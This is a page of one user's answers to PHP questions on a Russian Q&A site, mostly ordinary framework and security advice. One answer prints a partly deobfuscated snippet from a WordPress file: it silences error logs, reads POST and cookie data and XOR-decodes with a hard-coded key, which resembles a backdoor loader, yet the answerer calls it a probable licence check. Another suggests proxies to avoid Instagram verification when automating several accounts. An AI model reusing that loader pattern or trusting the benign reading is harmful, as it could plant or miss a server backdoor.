Ответы пользователя по тегу PHP
  • Как одновременно входить в несколько аккаунтов на автомате?

    riky
    @riky
    Laravel
    есть библиотека работающая через приватное апи https://github.com/mgp25/Instagram-API
    только учти что за 5 акков работающих с одного ип одновременно могут начать просить подтвердить по смс постоянно. так что лучше сразу готовь прокси
    Ответ написан
    Комментировать
  • Почему в silex framework нет папки контроллеров?

    riky
    @riky
    Laravel
    предполагается что их там будет немного. поэтому либо в один файл либо инклюдить.
    если вы собираетесь писать десяток контроллеров и столько же моделей, то возьмите ларавел, такой же микрофреймворк только все лучше организовано и больше функций.
    (микрофреймворк lumen не рекомендую, там отличия от полного laravel минимальные)
    Ответ написан
    3 комментария
  • Страный код в начали файла Wordpress?

    riky
    @riky
    Laravel
    раскодировал ваш код, получается примерно следующее.
    правда при вставке часть кода у вас видимо потерялась в конце в районе "return$x2d81e;}function } ?>" тут явная ошибка.
    из-за этого непонятно с какими параметрами запускается функция.

    но судя по всему функция проверяет валидность ключа $u6f1c2e47 = "0ab51c57-be71-493a-8c58-7ce8d4b71671";

    скорее всего указанный код просто проверяет что скрипт запускает хозяин, который передаст нужные параметры через ($_POST или $_COOKIE).
    но что примечательно в коде нет ни eval ни include ни даже чего нибудь для сохранения.

    могу предположить что это автор скрипта (модуля или темы) хочет в дальнейшем проверять кто купил этот скрипт (или кто его слил).

    но код здесь не весь, поэтому возможно не прав.

    <?php 
    
    $qff9a = 471;
    $GLOBALS['i6e2c'] = Array();
    
    $r202 = "chr";
    $x217014 = "ord";
    $u9c19 = "strlen";
    $r038e = "ini_set";
    $r1fd = "serialize";
    $d02ff21eb = "phpversion";
    $d54fea = "unserialize";
    $f549e33c = "base64_decode";
    $y8bab83aa = "set_time_limit";
    $j01867 = "e7024";
    $qcf3eb3d = "b939eb25";
    $d8d47 = $_POST;
    $j5c03c5f3 = $_COOKIE;
    ini_set("error_log", NULL);
    ini_set("log_errors", 0);
    ini_set("max_execution_time", 0);
    set_time_limit(0);
    $e271c71 = NULL;
    $qfe70a = NULL;
    $u6f1c2e47 = "0ab51c57-be71-493a-8c58-7ce8d4b71671";
    
    function b939eb25($param1, $param2)
    {
        $result = "";
        for ($i = 0; $i < strlen($param1);) {
            for ($j = 0; $j < strlen($param2) && $i < strlen($param1); $j++, $i++) {
                $result .= chr(ord($param1[$i]) ^ ord($param2[$j]));
            }
        }
        return $result;
    }
    Ответ написан
    Комментировать
  • Как сделать уведомления для пользователя с php (задача в кроне) в socket.io?

    riky
    @riky
    Laravel
    логичнее было бы вместо пхп+крон делать это все в ноде.
    Ответ написан
    Комментировать
  • Правильно ли использовать следующие вызовы?

    riky
    @riky
    Laravel
    так делать не надо
    $test->t();
    читайте про статические методы
    Ответ написан
    2 комментария
  • Простая защита от слива баланса СМС шлюза?

    riky
    @riky
    Laravel
    самый простой вариант сохранять время отправки в сессии и проверять перед отправкой
    if (time() - $_SESSION['last_sms_send'] > 100) { 
        send(); 
        $_SESSION['last_sms_send'] = time();
    }

    но злоумышленник может удалить сессионную куку в итоге запустится новая сессия и лимит не будет учитываться.
    поэтому нужно сохранять время отправки и ип.
    например в редис
    $redis->set('sms_send_' . $_SERVER['REMOTE_ADDR'], time());

    и аналогично первому варианту проверять.

    конечно кому сильно надо - возьмут прокси и обойдут такую защиту, но тут вы вряд ли что-то придумаете.
    Ответ написан
    Комментировать
  • Как в PHP сохранять COOKIES при навигации по сайту для последующих автоматизированных HTTP-запросов?

    riky
    @riky
    Laravel
    при подмене ссылок запросто можно пропустить ссылки в js.
    то что вы делаете плохо попахивает, в плане безопасности юзеров. для многих сайтов конечно сработает, но не для всех, особенно там где есть хоть какая то защита (защиты от ddos, проверка ип и тд).

    вообще если уж такую хрень делать, то это делается через расширения браузера.
    расширения могут сливать ваши куки, пароли и тд, так что они как раз сделаны для ваших целей )
    Ответ написан
  • Как безопасно использовать HTTP_HOST и SERVER_NAME?

    riky
    @riky
    Laravel
    вы про эту статью ?

    HTTP_HOST это то что в заголовках приходит от клиента (межет быть подменено).
    SERVER_NAME то что прописано в настройках веб сервера (не подменяется).

    проблема только если на сервере ваш скрипт запускается как default host. там можно подменить оба, но тут уже проблема юзера который так настроил.

    если боитесь xss через host, экрайнируйте его при выводе.
    sql inj в наше время вряд ли допустите.
    Ответ написан
    2 комментария
  • Как синхронизировать данные на нескольких сайтах?

    riky
    @riky
    Laravel
    по-нормальному такое делается oauth авторизацией, тогда вы легко сможете связать акки одного человека.
    либо один из сайтов создает oauth сервер, а на втором вход через него, либо на обоих вход через сторонний oauth, наприер через вк.

    если у вас регистрация своя, то вопрос в том как вы аккаунты будете связывать, вручную? автоматически на ум приходит только по мылу.
    в таком случае сделайте один сайт "главным" и в его базе сделайте таблицы для баллов.
    второй сайт будет отправлять баллы по апи и по апи же их читать/использовать.
    Ответ написан
    Комментировать
  • Как отсеять модераторов и поисковых ботов?

    riky
    @riky
    Laravel
    так модераторы и есть реальные люди.
    плюс ПС боты тоже используют браузеры (с js) иногда.
    так что разные говноредиректики и подмена контента сейчас слава богу быстро отсекается.
    Ответ написан
    Комментировать
  • Как на PHP выполнить долгий скрипт?

    riky
    @riky
    Laravel
    у вас проблема не со временем, а в том что память заканчивается, или memory limit поднимайте или оптимизируйте алгоритм.
    очень подозрительный код, если это консоль, то зачем там ob_* функции и flush ?
    данные не нужно накапливать в памяти сохраняйте обработанные данные сразу в базу или файлы
    Ответ написан
    7 комментариев
  • Как определить беседа ВКонтакте активная или нет?

    riky
    @riky
    Laravel
    используйте метод https://vk.com/dev/messages.get
    там есть параметр time_offset
    Ответ написан
    Комментировать
  • Шаблонизаторы ещё актуальны?

    riky
    @riky
    Laravel
    Smarty можно найти наверное только в древних проектах.
    Twig очень даже да. его киллер фича - extends главное его понять.
    Ответ написан
    4 комментария
  • Безопасный интерпретатор пользовательской логики (кода)?

    riky
    @riky
    Laravel
    во многих языках для таких случаев используют скриптовый язык LUA.
    например дизайнеры игр на нем скриптуют игровые события.
    в пхп есть экстеншен php.net/manual/ru/book.lua.php либо можно чисто на пхп такой интерпретатор поискать.
    такое решение позволит создать необходимую изоляцию и довольно понятный и дает большие возможности.

    хотя по правде говоря может показаться избыточно, особенно если возможности нужны не супер сложные.
    в мире пхп в большинстве случаев хватает библиотеки symfony expression language
    также обеспечивает изоляцию но весь код должен ограничиваться одним выражением.

    UPD первое решение может показаться сложным (нужно еще и lua знать) а второе ограниченным. однажды например писал на пхп интепретатор excel-like формул. этот интепретатор формулы компилировал в пхп код, поэтому при исполнении это было довольно быстро. модуль получается конечно сложный, изоляция также полная, делал комбинируя код из symfony expression language и из твига, код в них довольно похожий, похоже от одних создателей.

    часто в небольших проектах конечно используют как раз php eval, если админка доступна только владельцу сайта. это просто, удобно и полнофункционально, но не безопасно (и с этим ничего уже не сделать). любой кто получит случайный доступ к админке сможет выполнять любой код на сервере.
    Ответ написан
    9 комментариев
  • Пространство имен и подключение класса?

    riky
    @riky
    Laravel
    в файле composer.json надо автолоад прописать.
    "autoload": {
            "psr-0": {
                "App": "src/"
            }
        },

    и обновить
    composer update
    все классы в неймспейсе App будут загружаться из папки src.
    Ответ написан
    3 комментария
  • Почему не подключается стандартный класс Thread в php7?

    riky
    @riky
    Laravel
    реально ли вам нужна именно многопоточность?

    в большинстве случаев хватает решений на основе event loop например могу порекомендовать reactphp.org работает без доп расширений, реализует асинхронное IO, чего в большинстве случаев достаточно. в других случаях проще запустить несколько отдельных процессов, например вот этим https://symfony.com/doc/current/components/process.html
    Ответ написан
    Комментировать
  • Как подключить 2 сайта на wordpress к одной БД?

    riky
    @riky
    Laravel
    если домены на одном хостинге то просто пропишите в конфиге обоих одну базу (название/юзер/пасс).
    если на разных то в базе mysql нужно будет создавать пользователя с доступом извне (не только с localhost) это должен разрешать хостинг.

    но все равно полноценно работать не будет некоторые ссылки на тестовом будут вести напрямую на основной. тк в вордпрессе они сохраняются прямо в базе в некоторых местах.

    в основном будет страдать навигация. рекомендую сделать закладку в браузер при нажатии на которую меняется домен на тестовый, будет удобнее.
    Ответ написан
    3 комментария
  • Как понять свой уровень знания какой либо технологии, и надо ли знать ее на 100%?

    riky
    @riky
    Laravel
    заучивать не нужно, ты же не в школе к экзаменам готовишься.
    тут дело точно не в памяти, а в то чтобы в целом понимать суть технологии и знать как ее применить.

    также очень рекомендую составлять шпаргалки, я часто изучаю много нового, и всегда выписываю самые важные кусочки кода в общий файл. это очень круто потом пригождается. при этом я не забиваю и не перенапрягаю голову.

    поэтому стремись не к тому чтобы запомнить все html теги, все css свойства, а к тому чтобы знать что для решения той или иной задачи есть какой то тег/свойство, и уметь его быстро найти, вот для этого шпаргалка и нужна. можно даже их распечатывать, если тебе так удобно, но в электронном виде удобно делать поиск.
    Ответ написан
    Комментировать